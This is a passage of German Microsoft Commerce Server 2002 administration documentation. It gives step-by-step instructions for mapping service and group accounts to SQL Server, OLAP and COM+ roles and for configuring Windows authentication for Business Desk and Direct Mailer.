  5. Wählen Sie im oberen Feld eine Datenbank aus, und geben Sie dann im unteren Feld die Rolle für das Konto an.
  6. Wiederholen Sie diese Schritte, bis alle erforderlichen Konten den entsprechenden Datenbankrollen zugeordnet wurden, und klicken Sie dann auf OK.

    In der folgenden Tabelle werden alle Konten, Datenbanken und Rollen aufgelistet, die den Konten zugeordnet werden müssen.

Konto
(Beispielkontoname) 		Datenbank Zuordnung zu dieser Datenbankrolle
*Laufzeitbenutzer
(Anonym) 		Verwaltungsdatenbank (MSCS_Admin) Weitere Informationen finden Sie unter Sichern der Verwaltungsdatenbank.
MSCS_CatalogScratch | db_owner
Katalog | ctlg_CatalogReaderRole
Berechtigungen in Business Desk | BDReaderRole
Profile | ProfileReaderRole
Kampagnen | CampaignReaderRole
Transaktionskonfiguration | TransactionConfigReaderRole
Transaktionen | TransactionReaderRole
Business Desk-Gruppe
(BDGroup) 		Verwaltungsdatenbank (MSCS_Admin) db_datareader
MSCS_CatalogScratch | db_owner
Katalog | db_owner
Berechtigungen in Business Desk | BDWriterRole
Profile | ProfileWriterRole
Kampagnen CampaignWriterRole
db_datareader
Transaktionskonfiguration | TransactionConfigWriterRole
Transaktionen | TransactionWriterRole
Data Warehouse | ReportViewerRole
Erweiterte Berichtsgruppe
(ReportAdvanced) 		Data Warehouse ReportAdvancedRole
Direct Mailer-Dienst
(CSDM) 		Verwaltungsdatenbank (MSCS_Admin) db_datareader
Direct Mailer | db_owner
Listen-Manager-Dienstkonto
(CSLM) 		Verwaltungsdatenbank (MSCS_Admin) db_datareader
Direct Mailer | db_owner
Kampagnen | db_owner
DTS-Task-Importgruppe
(DTSImport) 		Verwaltungsdatenbank (MSCS_Admin) DTS_ImportRole
Katalog | DTS_ImportRole
Berechtigungen in Business Desk | DTS_ImportRole
Profile | DTS_ImportRole
Kampagnen | DTS_ImportRole
Transaktionskonfiguration | DTS_ImportRole
Transaktionen | DTS_ImportRole
Data Warehouse SQL Server | Ausführen von sp_addalias zum Zuweisen des Data Warehouse-dbo
Data Warehouse-OLAP-Datenbank | **Der Gruppe OLAP-Administrators hinzufügen
Computer, von dem aus die DTS-Tasks ausgeführt werden | Gruppe Hauptbenutzer
COM+-Anwendung Config | Administratoren (siehe Schritt 11: Hinzufügen der Dienstkonten zur Rolle für die COM+-Anwendung "Config")
  1. COM+-Anwendung "Config"
 Data Warehouse SQL Server db_owner

**Das Konto DTSImport muss zur Gruppe OLAP-Administrators gehören. Dies gilt sowohl für den Computer mit den OLAP-Datenbanken als auch für den Computer, auf dem der DTS-Berichtsvorbereitungstask ausgeführt werden soll. Diese Voraussetzung muss erfüllt sein, damit der DTS-Berichtsvorbereitungstask ausgeführt werden kann.

Damit Business Desk-Benutzer Kataloge bearbeiten (z. B. Katalogdefinitionen bearbeiten, Kataloge erneut erstellen, Volltextindizes aktualisieren und Kataloge veröffentlichen) können, müssen Sie diese Benutzer der Rolle db_owner zuordnen.

Es empfiehlt sich daher, ein eigenes Gruppenkonto für Business Desk-Benutzer zu erstellen, die Kataloge bearbeiten müssen.

Sie sollten die Vertrauenswürdigkeit der Business Desk-Benutzer, die Sie der Rolle db_owner zuordnen, sorgfältig prüfen. Beim Zuordnen eines Business Desk-Benutzers zu dieser Rolle müssen Sie das folgende Sicherheitsrisiko in Betracht ziehen:

Wichtig

  • Ein der Rolle db_owner zugeordneter Business Desk-Benutzer könnte möglicherweise eine Katalogdatenbank löschen. Erstellen Sie zur Verringerung dieses Risikos einen Firewall ein, bei dem direkte Verbindungen zwischen dem Business Desk-Client und der SQL Server-Datenbank mit den Katalogen nicht zulässig sind. Dies ist die empfohlene sichere Konfiguration. Genaue Anweisungen finden Sie unter Bereitstellen einer sicheren Site.

Schritt 10: Einrichten der OLAP-Datenbank

In diesem Schritt migrieren Sie das OLAP-Repository, sodass es auf dem Computer mit SQL Server gespeichert wird. Mit diesem Schritt wird die Sicherheit des OLAP-Repository verbessert. Anschließend ordnen Sie für den Zugriff auf das Repository die entsprechenden Berechtigungen dem Benutzerkonto DTSImport zu.

So migrieren Sie das OLAP-Repository hin zu SQL Server

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erstellen Sie in SQL Server Enterprise Manager eine neue SQL-Datenbank.
  3. Klicken Sie im Analysis Services-Manager mit der rechten Maustaste auf den entsprechenden Servernamen, und klicken Sie dann auf Repository-Migration ausführen.
  4. Wählen Sie das empfohlene systemeigene Format von Analysis Services.
  5. Wählen Sie den Namen des SQL Server-Computers aus, auf dem die OLAP-Repository-Datenbank gespeichert werden soll.
  6. Verwenden Sie zum Nachverfolgen dieser Verbindung ein SQL-Authentifizierungskonto auf Administratorebene.

So weisen Sie dem Benutzerkonto "DTS_Import" die entsprechenden Berechtigungen zu

  1. Weisen Sie das Konto DTSImport der Gruppe OLAP-Administrators für den OLAP-Server und den SQL Server-Computer zu. Führen Sie zu diesem Zweck folgende Schritte aus:
    • Klicken Sie auf Start, zeigen Sie auf Programme, anschließend auf Verwaltung, und klicken Sie dann auf Computerverwaltung.
    • Erweitern Sie Benutzer und Gruppen und danach Gruppen.
    • Klicken Sie mit der rechten Maustaste auf die Gruppe OLAP-Administrators, und klicken Sie dann auf Eigenschaften.
    • Fügen Sie die Gruppe DTSImport als Mitglied der Gruppe OLAP-Administrators hinzu.
  2. Erteilen Sie dem Benutzerkonto DTS_Import auf dem OLAP-Server im Verzeichnis bin unter <Olap_Server_Stammverzeichnis>\bin "Vollzugriff". Führen Sie zu diesem Zweck folgende Schritte aus:
    • Navigieren Sie zum Verzeichnis <Olap_Server_Stammverzeichnis>\bin (z. B. \Programme\Microsoft Analysis Services\Bin).
    • Klicken Sie mit der rechten Maustaste auf Bin, und klicken Sie anschließend auf Auswählen.
    • Klicken Sie auf Berechtigungen, und fügen Sie diesem Verzeichnis das Konto DTSImport hinzu.
    • Ermöglichen Sie Vollzugriff.
    • Klicken Sie auf OK.
  3. Weisen Sie auf dem Computer, auf dem die DTS-Tasks ausgeführt werden, das Konto DTSImport der Gruppe der Hauptbenutzer zu.

    In diesem Sicherheitskontext werden die von diesem Task erzeugten Debugmeldungen nicht angezeigt. Dies ist im Knowledge Base-Artikel Q274559 (nur auf Englisch verfügbar) dokumentiert. Sie können das Problem umgehen, indem die Benutzertasks unter dem lokalen Administratorkonto ausgeführt werden.

  4. Wenn sich die OLAP-Cubes und Data Warehouse auf unterschiedlichen Computern befinden, müssen Sie das Konto für den MSSQLServerOLAPService-Dienst mit Berechtigungen der Rolle db_owner auf dem Data Warehouse-Computer einrichten.

Schritt 11: Hinzufügen der Dienstkonten zur Rolle für die COM+-Anwendung "Config"

Die COM+-Anwendung Config beinhaltet die Rolle Administrators. Konten mit dieser Rolle verwenden Objekte zum Schreiben in die Verwaltungsdatenbank. Standardmäßig werden dieser Rolle der während des Commerce Server-Setups angemeldete Benutzer sowie die lokale Administratorgruppe hinzugefügt.

Sie müssen die Dienstkonten der Rolle Administrators hinzufügen. (Dieser Schritt setzt voraus, dass Sie bereits das Konto DTSImport der Rolle Administrators hinzugefügt haben. Andernfalls sollten Sie dies nun nachholen.)

So fügen Sie der Rolle "Administrators" die Dienstkonten hinzu

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Komponentendienste.
  2. Erweitern Sie Komponentendienste, erweitern Sie Computer, Arbeitsplatz, COM+-Anwendungen, Commerce Server Config und Rollen, und erweitern Sie dann Administrators.
  3. Klicken Sie mit der rechten Maustaste auf Users, wählen Sie Neu und anschließend Benutzer.
  4. Wählen Sie im Dialogfeld Benutzer oder Gruppen auswählen im Feld Suchen in das Direct Mailer-Dienstkonto aus (z. B. CSDM).
  5. Klicken Sie auf OK.
  6. Wiederholen Sie dieses Verfahren, um das Listen-Manager-Dienstkonto hinzuzufügen.

Schritt 12: Hinzufügen einzelner Benutzerkonten zu Gruppendomänenkonten

Erstellen Sie für jeden Benutzer, der Business Desk verwenden soll, ein Windows-Benutzerkonto. Weisen Sie diese Windows-Konten anschließend den entsprechenden Gruppenkonten zu:

  • Konto BDGruppe. Weisen Sie alle Business Desk-Benutzer zu.
  • Konto ReportAdvanced. Weisen Sie jene Benutzer zu, die dynamische Berichte speichern, ändern und löschen müssen.

Hinweis

  • Mitglieder der Gruppe ReportAdvanced verfügen außerdem über dieselben Rechte, die den Benutzern des Kontos BDGroup erteilt wurden.

So weisen Sie den Gruppenkonten einzelne Business Desk-Benutzerkonten zu

  1. Klicken Sie auf Start, zeigen Sie auf Programme, anschließend auf Verwaltung, und klicken Sie dann auf Active Directory-Benutzer und -Computer.
  2. Klicken Sie unter Active Directory-Benutzer und -Computer mit der rechten Maustaste auf das entsprechende Gruppenkonto, und klicken Sie dann auf Eigenschaften.
  3. Klicken Sie auf der Registerkarte Mitglieder auf Hinzufügen.
  4. Geben Sie die Windows-Konten der entsprechenden Benutzer ein, und klicken Sie dann auf OK.
  5. Wiederholen Sie diese Schritte, um die Benutzerkonten den Gruppenkonten nach Bedarf hinzuzufügen.

Schritt 13: Zuweisen von Business Desk-Berechtigungen zu Benutzern

Wenn Sie das Modul "Business Desk-Berechtigungen" verwenden, müssen Sie das Business Desk-Domänengruppenkonto dem Modul "Berechtigungen" hinzufügen und den Mitgliedern der Domäne anschließend die Berechtigung zum Verwenden von Business Desk erteilen.

Hinweise

  • Wenn ein Windows-Konto nicht in der Kontenliste des Moduls "Berechtigungen" aufgeführt ist oder dem Konto unter "Zulassen" keine Berechtigung zugeordnet wurde, können die diesem Konto zugewiesenen Benutzer nicht auf Business Desk zugreifen.
  • Wenn die Kontenliste des Moduls "Berechtigungen" ein Windows-Konto enthält, das nicht mehr vorhanden ist, wird Benutzern, die diesem Konto zugeordnet sind, jeder Zugriff auf die Business Desk-Kategorien und -Module verweigert.

So fügen Sie Windows-Konten zur Kontenliste des Moduls "Berechtigungen" hinzu

  1. Klicken Sie im Menü Sicherheit auf Berechtigungen.
  2. Klicken Sie im Bildschirm Sicherheitsberechtigungen im Bereich Windows-Konto auf Zur Liste hinzufügen.
  3. Geben Sie im Dialogfeld Konto hinzufügen das Windows-Konto ein, für das Sie Berechtigungen hinzufügen möchten (z. B. BDGroup), und klicken Sie dann auf Hinzufügen.
  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Business Desk-Startbildschirm zurückzukehren.

    Damit wurde das Windows-Konto der Kontenliste des Moduls "Berechtigungen" hinzugefügt.

  5. Wiederholen Sie diese Schritte, um das Gruppenkonto ReportAdvanced hinzuzufügen.

So legen Sie Berechtigungen für Windows-Konten fest

  1. Klicken Sie im Menü Sicherheit auf Berechtigungen.
  2. Wählen Sie im Bildschirm Sicherheitsberechtigungen im Dropdownfeld Windows-Konto das Windows-Konto in der Kontenliste des Moduls "Berechtigungen" aus, für das Sie Berechtigungen hinzufügen möchten.
  3. Erteilen Sie im Bildschirm Sicherheitsberechtigungen im Abschnitt Sicherungsfähige Entitäten den folgenden Konten diese Berechtigungen:
    • BDGroup – Alle zulassen
    • ReportAdvanced – Alle zulassen

    Weitere Informationen finden Sie unter Einrichten von Business Desk-Berechtigungen für Windows-Konten.

  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Business Desk-Startbildschirm zurückzukehren.

Wichtig

  • Nachdem Sie die Berechtigungen eines Business Desk-Benutzers geändert haben, muss der Benutzer den Business Desk-Client schließen und anschließend neu starten, damit die Einstellungen in Kraft treten.

    Wenn die Windows-Identität (Gruppenmitgliedschaft, Rechte, ACLs usw.) dieses Benutzers geändert wurden, muss sich der Benutzer erst abmelden und anschließend wieder anmelden, damit die neuen Einstellungen auf dem Server in Kraft treten. (Andernfalls würde zwar der Client, nicht jedoch der Server ordnungsgemäß ausgeführt werden.)

Schritt 14: Aktivieren der integrierten Windows-Authentifizierung in Internet Explorer

Führen Sie diesen Schritt auf jedem Computer durch, auf dem der Business Desk-Client installiert ist. Weisen Sie außerdem auf dem Clientcomputer das Business Desk-Konto der Gruppe Administratoren zu.

So aktivieren Sie die integrierte Windows-Authentifizierung

  1. Klicken Sie auf dem Desktop mit der rechten Maustaste auf Internet Explorer, und klicken Sie dann auf Eigenschaften.
  2. Klicken Sie im Dialogfeld Eigenschaften von Internet auf die Registerkarte Erweitert.
  3. Führen Sie einen Bildlauf zum Bereich Sicherheit durch, und wählen Sie dann die Option Integrierte Windows-Authentifizierung aktivieren aus.
  4. Klicken Sie auf OK, und starten Sie dann den Clientcomputer neu.

So weisen Sie Business Desk-Benutzer der Gruppe "Hauptbenutzer" zu

  1. Klicken Sie auf dem Business Desk-Clientcomputer auf Start, zeigen Sie auf Programme, anschließend auf Verwaltung, und klicken Sie dann auf Computerverwaltung.
  2. Erweitern Sie Benutzer und Gruppen, und klicken Sie dann auf Gruppen.
  3. Klicken Sie mit der rechten Maustaste auf Administratoren, und klicken Sie dann auf Eigenschaften.
  4. Fügen Sie das Business Desk-Gruppenkonto hinzu, und klicken Sie dann auf OK.

Schritt 15: Zuordnen des Benutzeranmeldekontos zum Datenbankbesitzer (Database Owner, dbo)

Führen Sie diesen Schritt für Benutzer aus, die Commerce Server-DTS-Tasks ausführen müssen, sowie für das Listen-Manager-Dienstkonto. Sie müssen diesen Schritt so durchführen, dass alle vom DTS-Task erstellten Objekte im Besitz des Datenbankbesitzers.

Wenn Sie sich z. B. als "JörgBenutzer" angemeldet haben und dieser Name nicht als Alias für dbo vorgesehen ist, befinden sich die erweiterten Data Warehouse-Tabellennamen beim Ausführen der DTS-Tasks im Besitz von "JörgBenutzer" und werden dann fälschlicherweise mit "JörgBenutzer.<Tabelle>" gekennzeichnet.

Mit diesem Verfahren stellen Sie sicher, dass die Tabellennamen korrekt mit "dbo.<Tabelle>" gekennzeichnet werden.

Informationen zum Datenbankbesitzer (Database Owner, dbo) und zum Verwenden von sp_addalias finden Sie in der SQL Server-Onlinedokumentation.

So ordnen Sie dem Datenbankbesitzer das Benutzeranmeldekonto zu

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft SQL Server, und klicken Sie dann auf SQL Query Analyzer.
  2. Geben Sie im Dialogfeld Verbindung mit SQL Server herstellen den entsprechenden SQL-Server an.
  3. Wählen Sie in Query Analyzer in der Datenbank-Dropdownliste die Data Warehouse-Datenbank aus.
  4. Nehmen Sie im Fenster Query Analyzer die Eingabe exec sp_addalias 'Domäne\Anmeldename','dbo' vor.

    Sie können beispielsweise Folgendes eingeben:

        Exec sp_addalias '<Domäne>\JörgBenutzer','dbo'
  5. Klicken Sie auf der Symbolleiste auf Ausführen.

    Das von Ihnen angegebene Benutzerkonto wird nun dem Datenbankbesitzer (Database Owner, dbo) als Alias zugeordnet.

  6. Wiederholen Sie diesen Schritt, um den dbo-Alias zum Listen-Manager-Benutzer für Data Warehouse zuzuordnen.

    Sie können beispielsweise Folgendes eingeben:

        Exec sp_addalias '<Domäne>\CSLM','dbo'


Verwenden der Windows-Authentifizierung bei einer Bereitstellung mit einem einzelnen Computer

Möglicherweise möchten Sie Commerce Server auf einem einzigen Computer bereitstellen, z. B. wenn Sie ein Entwickler sind, der eine Site erstellt.

Das in diesem Thema erläuterte Bereitstellungsszenario gestaltet sich wie folgt:

  • Internetinformationsdienste (IIS) und die SQL Server-Datenbanken (die Verwaltungsdatenbank und die Commerce Server-Sitedatenbanken) werden auf demselben Computer installiert.
  • SQL Server wird für die kombinierte Authentifizierung konfiguriert (Windows-Authentifizierung und SQL Server-Authentifizierung).
  • Commerce Server ist für die Windows-Authentifizierung konfiguriert.

    Benutzer, die eine Verbindung zu Business Desk und einer Commerce Server-Site unter Verwendung eines Windows-Benutzerkontos herstellen, können vertrauenswürdige Verbindungen nutzen (Verbindungen, die von Windows geprüft wurden). Die Benutzer werden anhand des Windows-Benutzernamens erkannt und müssen keinen SQL Server-Benutzernamen eingeben.

So richten Sie eine Commerce Server-Site für vertrauenswürdige Verbindungen ein

  1. Erstellen Sie eine Active Directory-Domäne. Anweisungen dazu finden Sie unter Schritt 1: Konfigurieren von Active Directory und DNS auf Computer 1.
  2. Erstellen Sie ein Benutzerkonto auf der Active Directory-Domäne, damit anonyme Benutzer auf SQL Server zugreifen können.
  3. Ändern Sie das Konto IUSR_<Computer> in IIS in das anonyme Konto, das in Schritt 2 erstellt wurde.
  4. Weisen Sie bezüglich des Kontos IWAM_<Computer> die SQL Server-Rolle db_owner für die Commerce Server-Sitedatenbank zu (nicht die MSCS_Admin-Datenbank).
  5. Geben Sie beim Installieren der Commerce Server-Dienste (Direct Mailerund Listen-Manager) Windows-Konten an, die Zugriff auf SQL Server haben.

    Das Setup-Programm von Commerce Server gewährt den angegebenen Konten automatisch das Recht Anmelden als Dienst.

Informationen zu den Dienstkonten finden Sie unter Sichern von Dienstkonten.

Anweisungen zum Ändern des Dienstkontos oder des Kennworts finden Sie unter Ändern des Dienstkontos oder des Kennworts.

Folgende Schritte sind nicht erforderlich:

  • Den Domänenanmeldungen Vertrauensstellungen für Delegierungszwecke erteilen
  • Die Sicherheitsrichtlinien ändern
  • Die COM+-Rollen ändern


Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung

Wenn Sie einen SQL Server-Remotecomputer und die Windows-Authentifizierung bereitstellen, müssen Sie das anonyme Konto der Internetinformationsdienste (IIS), standardmäßig IUSR_Computer, in ein Domänenkonto ändern. Anschließend müssen Sie dem Domänenkonto eine SQL-Anmeldung zuweisen, die über die entsprechenden Berechtigungen für die Commerce Server-Laufzeitdatenbanken verfügt. Weitere Informationen hierzu finden Sie unter Sichern der Commerce Server-Laufzeitdatenbanken.

Hinweise

  • Wenn es sich bei dem SQL Server-Computer um einen lokalen Computer handelt und Sie die Windows-Authentifizierung verwenden, müssen Sie ein SQL-Anmeldekonto für das anonyme IIS-Konto (standardmäßig IUSR_<Computer>) erstellen.
  • Wenn Sie einen Remote SQL Server und die SQL Server-Authentifizierung verwenden, müssen Sie dem Domänenkonto keine SQL-Anmeldung zuweisen.

Das in diesem Thema erläuterte Bereitstellungsszenario gestaltet sich wie folgt:

  • Internetinformationsdienste (IIS) ist auf einem Computer installiert.
  • Die SQL Server-Datenbanken (die Verwaltungsdatenbank und die Commerce Server-Laufzeitdatenbanken) sind auf einem zweiten Computer installiert.
  • SQL Server wird für die kombinierte Authentifizierung konfiguriert (Windows-Authentifizierung und SQL Server-Authentifizierung).
  • Commerce Server ist für die Windows-Authentifizierung konfiguriert.
  • AuthFilter ist für die benutzerdefinierte Authentifizierung konfiguriert. In diesem Szenario müssen Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank in SQL Server-Authentifizierung ändern. Die Anweisungen dazu finden Sie in diesem Thema.

Da Sie einen Remote SQL Server und die integrierte Sicherheit von Windows verwenden, müssen Sie das anonyme IIS-Konto (der Standardwert lautet IUSR_Computer) in ein Domänenkonto ändern. Anschließend müssen Sie dem Domänenkonto eine SQL Server-Anmeldung zuweisen, die über die entsprechenden Berechtigungen für die Commerce Server-Laufzeitdatenbanken verfügt. Siehe dazu Sichern der Commerce Server-Laufzeitdatenbanken.

So richten Sie eine vertrauenswürdige Verbindung für Business Desk-Benutzer ein

  1. Klicken Sie auf dem Active Directory-Server auf Start, zeigen Sie auf Programme, auf Verwaltung, und klicken Sie dann auf Commerce Server-Manager.
  2. Erweitern Sie in Commerce Server-Manager den Knoten Active Directory-Benutzer und -Computer.
  3. Klicken Sie mit der rechten Maustaste auf den Namen des Computers, wählen Sie im Dialogfeld Eigenschaften von <Computername> die Option Computer für Delegierungszwecke vertrauen aus, und klicken Sie anschließend auf OK.

So ändern Sie das anonyme Konto der Site in ein Domänenkonto

  1. Erstellen Sie vor dem Ausführen dieser Schritte ein Benutzerkonto in der Active Directory-Domäne, damit anonyme Benutzer auf SQL Server zugreifen können.
  2. Erweitern Sie im Commerce Server-Manager Internetinformationsdienste, und navigieren Sie dann zu Ihrer Anwendung (z. B. meine_Site).
  3. Klicken Sie mit der rechten Maustaste auf die Anwendung, und klicken Sie dann auf Eigenschaften.
  4. Klicken Sie im Dialogfeld Eigenschaften auf der Registerkarte Verzeichnissicherheit im Bereich Steuerung des anonymen Zugriffs und der Authentifizierung auf Bearbeiten.
  5. Klicken Sie im Dialogfeld Authentifizierungsmethoden im Abschnitt Anonymer Zugriff auf Bearbeiten.
  6. Geben Sie in das Feld Benutzername den Namen eines Domänenkontos ein.
  7. Klicken Sie mehrmals auf OK, um alle Dialogfelder zu schließen.
  8. Klicken Sie auf Start und anschließend auf Ausführen.
  9. Geben Sie im Dialogfeld Ausführen im Feld Öffnen die Zeichenfolge iisreset ein, und klicken Sie anschließend auf OK.
Während IIS zurückgesetzt wird, erscheint ein Befehlsfeld. Wenn das Befehlsfeld geschlossen wird, ist der Rücksetzungsvorgang von IIS beendet.

So weisen Sie SQL Server die Domänenkontoberechtigungen zu

  1. Erweitern Sie im Commerce Server-Manager nacheinander Microsoft SQL Server, SQL Server-Gruppe und den Server, der von den Commerce Server-Datenbanken verwendet wird, und anschließend Sicherheit.
  2. Klicken Sie mit der rechten Maustaste auf Benutzernamen, und klicken Sie anschließend auf Neu.
  3. Klicken Sie im Dialogfeld SQL Server-Anmeldungseigenschaften - Neuer Benutzername auf der Registerkarte Allgemein im Feld Name auf Durchsuchen, um das Domänenkonto zu suchen und auszuwählen.
  4. Geben Sie in das Feld Domäne den Namen der Domäne für das Konto ein.
  5. Wählen Sie auf der Registerkarte Datenbankzugriff die Commerce Server-Datenbanken, auf die von dieser Anmeldung zugegriffen wird.
  6. Klicken Sie auf OK.

So ändern Sie die Verbindungszeichenfolge für die Verwaltungsdatenbank in die SQL Server-Authentifizierung

  1. Klicken Sie im Commerce Server-Manager mit der rechten Maustaste auf den Knoten Commerce Server-Manager, und klicken Sie dann auf Eigenschaften.
  2. Klicken Sie auf der Registerkarte Verwaltungsdatenbank auf Ändern.
  3. Ändern Sie bei Bedarf im Dialogfeld Datenverknüpfungseigenschaften den SQL Server-Namen.
  4. Wählen Sie Spezifischen Benutzernamen und spezifisches Kennwort verwenden, um die SQL-Authentifizierung zu verwenden und die Felder für den Benutzernamen und das Kennwort auszufüllen.

    Verwenden Sie nicht die Option Leeres Kennwort. Dadurch würde eine Sicherheitsschwachstelle in der Umgebung entstehen.

  5. Klicken Sie auf OK.

Hinweise

  • Sie können auch Verbindungszeichenfolgen hinzufügen, die keiner Datenbank zugeordnet und daher auch nicht funktional sind. In diesem Fall zeigt Microsoft Datenverknüpfung keine Fehlermeldung an.
  • Nachdem Sie eine Eigenschaft im Commerce Server-Manager geändert haben, müssen Sie alle Dienste, die diese Werte verwenden, neu starten. Anweisungen finden Sie unter Neustarten von IIS und Commerce Server-Diensten.


Verwenden von DirectMailer und der Windows-Authentifizierung

Feedback zu dieser Seite senden Commerce Server 2002

Verwenden von Direct Mailer und der Windows-Authentifizierung

Führen Sie die in diesem Thema erläuterten Schritte aus, um den Direct Mailer-Dienst mit der Windows-Authentifizierung zu verwenden.

Wenn die entsprechende Site die Windows-Authentifizierung verwendet und den Dienstkonten, unter denen Direct Mailer und Listen-Manager ausgeführt werden, keine Berechtigungen erteilt wurden, wird Business Desk-Benutzern möglicherweise die Fehlermeldung "Die Direktsendung kann nicht gespeichert oder in den Zeitplan aufgenommen werden" angezeigt.

Im Folgenden werden die erforderlichen Schritte aufgeführt, um den Direct Mailer-Dienst für die Verwendung der Windows-Authentifizierung zu konfigurieren:

  • Erstellen einer SQL-Anmeldung
  • Erteilen von Direct Mailer-Zugriff für COM-Objekte von Commerce Server
  • Einrichten der Dienstidentität
  • Ändern der Verbindungszeichenfolgen für die Windows-Authentifizierung
  • Neustarten von IIS und dem Direct Mailer-Dienst

Erstellen einer SQL-Anmeldung

Zum Erstellen einer SQL-Anmeldung, die mit der Identität übereinstimmt, unter der die Dienste Direct Mailer und Listen-Manager ausgeführt werden, müssen die unten stehenden Schritte ausgeführt werden. Die Dienstidentität wird als Teil des Setups erstellt, kann jedoch jederzeit geändert werden. Informationen dazu finden Sie unter Einrichten der Dienstidentität.

In diesem Schritt erstellen Sie eine SQL-Anmeldung mit db_owner-Berechtigungen sowohl für die Direct Mailer-Datenbank als auch für die <Sitename>_Commerce-Datenbank.

So erstellen Sie eine SQL-Anmeldung

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie im SQL Server Enterprise Manager die Knoten auf den folgenden Pfad: Microsoft SQL Servers/SQL Server Group/<Computername>/Security/Logins.
  3. Klicken Sie im rechten Fensterbereich mit der rechten Maustaste auf eine beliebige Stelle, und wählen dann Sie die Option Neuer Benutzername aus.

    Hinweis

    • Klicken Sie nicht mit der rechten Maustaste auf einen der vorhandenen Namen.
  4. Führen Sie im Bildschirm SQL Server-Anmeldungseigenschaften – Neuer Benutzername auf der Registerkarte Allgemein die folgenden Schritte aus:
    Option | Aktion
    Name | Geben Sie den Namen des für den Dienst konfigurierten Domänenkontos ein.
    Windows-Authentifizierung | Vergewissern Sie sich, dass diese Option aktiviert ist.
    Domäne | Wählen Sie in der Dropdownliste die Domäne des Kontos aus.
    Zugriff gewähren | Vergewissern Sie sich, dass diese Option für den Sicherheitszugriff aktiviert ist.
    Datenbank | Wählen Sie in der Dropdownliste für diese Anmeldung die Masterdatenbank aus.
    Sprache | Wählen Sie in der Dropdownliste für diese Anmeldung die Standardsprache aus.
  5. Führen Sie auf der Registerkarte Datenbankzugriff folgende Schritte aus:
    Option | Aktion
    Zulassen | Aktivieren Sie dieses Kontrollkästchen neben der Datenbank <Sitename>_commerce, um anzugeben, dass von dieser Anmeldung Zugriff auf die Datenbank erfolgt.
    db_owner | Aktivieren Sie dieses Kontrollkästchen, um die Datenbankrolle db_owner für die Datenbank <Sitename>_commerce anzugeben.

    Hinweis

    • Wiederholen Sie Schritt 5 für die Direct Mailer-Datenbank.
  6. Klicken Sie auf OK.

Erteilen von Direct Mailer-Zugriff für COM-Objekte von Commerce Server

COM-Objekten von Commerce Server muss der Direct Mailer-Zugriff gewährt werden. Direct Mailer erhält über das GlobalConfig-COM-Objekt Zugriff auf die Verwaltungsdatenbank (und lädt die ursprüngliche Konfiguration).

So gewähren Sie COM-Objekten von Commerce Server den Direct Mailer-Zugriff

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Komponentendienste.
  2. Erweitern Sie die Knoten auf den folgenden Pfad: Component Services/Computers/My Computer/COM+ Applications/Commerce Server Config/Roles/Users.
  3. Klicken Sie mit der rechten Maustaste auf Users, und klicken Sie dann auf Neues Fenster.
  4. Klicken Sie mit der rechten Maustaste auf Users, wählen Sie Neu und anschließend Benutzer.
  5. Wählen Sie im Feld Suchen in des Dialogfelds Benutzer oder Gruppen auswählen den Computernamen für den Benutzer, unter dessen Namen der Dienst ausgeführt werden soll.
  6. Geben Sie im unteren Bereich den Namen des Benutzers ein, der den Dienst ausführen soll, oder wählen Sie den Benutzer in der Liste aus. Klicken Sie anschließend auf OK.

Einrichten der Dienstidentität

Die Dienstidentität von Commerce Server Direct Mailer und Commerce Server-Listen-Manager werden als Teil des Setups erstellt. Sie können die Dienstidentität ändern, indem Sie nach Abschluss des Setups die unten stehenden Schritte ausführen. Diese Schritte müssen sowohl für Direct Mailer- als auch Listen-Manager-Dienste ausgeführt werden.

So legen Sie die Dienstidentität fest

  1. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung. Klicken Sie anschließend auf Dienste.
  2. Klicken Sie im Dialogfeld Dienste im rechten Fensterbereich mit der rechten Maustaste auf Commerce Server Direct Mailer, und wählen Sie Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften von Commerce Server Direct Mailer auf der Registerkarte Anmelden die Option Dieses Konto. Führen Sie anschließend die folgenden Schritte aus:
    Option | Aktion
    Dieses Konto | Geben Sie den Namen des Benutzers ein, für den der Dienst ausgeführt werden soll.
    Kennwort | Geben Sie das Kennwort des Benutzers ein, für den der Dienst ausgeführt werden soll.
    Kennwort bestätigen | Geben Sie erneut das Kennwort des Benutzers ein, für den der Dienst ausgeführt werden soll.
  4. Klicken Sie auf OK.
  5. Klicken Sie zum erneuten Starten des Dienstes im Dialogfeld Dienste mit der rechten Maustaste auf Commerce Server Direct Mailer, und klicken Sie auf Neu starten.
Hinweis
  • Wiederholen Sie die Schritte 2 bis 5 für den Commerce Server-Listen-Manager-Dienst.

Ändern der Verbindungszeichenfolgen für die Windows-Authentifizierung

Die Verbindungszeichenfolgen für Direct Mailer werden als Teil der Installation für die Dienste und als Teil des Entpackens einer Site für die sitespezifischen Dienste erstellt. Wenn Sie bei der Installation die SQL Server-Authentifizierung auswählen, müssen Sie die Verbindungszeichenfolgen so ändern, dass die Windows-Authentifizierung verwendet wird.

So ändern Sie die Verbindungszeichenfolgen für die Windows-Authentifizierung

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie auf Commerce Server-Manager.
  2. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Direct Mail on <Servername>, und wählen Sie dann Eigenschaften.
  3. Klicken Sie im Dialogfeld Eigenschaften von Direct Mail on <Servername> auf der Registerkarte Verbindungszeichenfolgen auf Ändern.
  4. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die folgenden Einstellungen vor:
    Option | Aktion
    Geben Sie einen Servernamen ein, oder wählen Sie einen aus | Wählen Sie in der Dropdownliste einen Servernamen aus, oder geben Sie den Pfad des Servers ein, auf dem sich die Datenbank befindet, auf die Sie zugreifen möchten.
